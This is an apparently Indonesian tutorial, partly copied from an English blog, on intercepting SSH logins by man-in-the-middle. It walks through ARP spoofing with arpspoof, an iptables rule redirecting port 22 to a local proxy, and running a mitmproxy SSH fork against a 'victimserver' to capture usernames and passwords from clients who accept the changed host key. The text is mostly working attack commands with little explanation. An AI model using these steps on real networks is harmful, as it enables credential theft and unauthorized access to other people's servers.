MITM: mitm ssh
sumber: http://www.atechnote.com/2016/10/intercept-username-and-password-using.html
Diagram
client --> mitmproxy --> ssh server
ip client: 192.168.0.106 (misalnya)
ip server: 192.168.0.100 (misalnya)
ARPspoofing
arpspoof -t 192.168.0.100 192.168.0.106 & >/dev/null arpspoof -t 192.168.0.106 192.168.0.100 & >/dev/null
Download
cd /root/ wget https://github.com/saironiq/mitmproxy/archive/master.zip unzip master.zip
Generate Keys
cd ~/mitmproxy-master/ ./mitmkeygen
key akan di simpan di
~/.mitmkeys/
Instal SSH key server yang akan di serang
Copykan:
ssh-copy-id -i ~/.mitmkeys/id_rsa.pub user@victimserver
Contoh:
ssh-copy-id -i ~/.mitmkeys/id_rsa.pub onno@192.168.0.100
Jalankan proxy
Set firewall agar bisa NAT
sudo su sysctl -w net.ipv4.ip_forward=1 iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
Jalankan proxy, arahkan ke victimserver.
cd ~/mitmproxy-master/ ./mitmproxy_ssh -H victimserver ./mitmproxy_ssh -H 192.168.0.100 -s
ini akan menjalankan proxy di localhost:2222
Now simply connect to the local proxy:
ssh localhost -p 2222
And ta-da! You should see the raw data sent between client and server in the window you ran mitmproxy_ssh.
Diagram
client --> mitmproxy --> ssh server
- target server ip: 192.168.202.124
Instalasi
$ sudo pip install twisted $ sudo apt-get install python-service-identity $ pip install pycrypto
Download
$ git clone https://github.com/saironiq/mitmproxy.git
3- if you can not run mitmreplay_ssh, it might be there is changing structure of pycrypto of the version you install, so - modify file mitmproxy/mitmproxy/sshdebug.py
-- line 655 modify it to below
mpints.append(cnumber.bytes_to_long(
-- line 11 add the following line
from Crypto.Util import number as cnumber
4- generate keys $ cd mitmproxy $ sudo ./mitmproxy
update firewall
5- update ip_forward rule and nat
$ sudo sysctl -w net.ipv4.ip_forward=1 $ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
6- run the mitmproxy_ssh and point to target server 192.168.202.124 $ sudo ./mitmproxy_ssh -H 192.168.202.124 -s
7- now when our client login to ssh server, if they the don't suspect the new key from server, it is very transparent to client
- snapshot of username and password on our mitmproxy pc when client ssh to server 192.168.202.124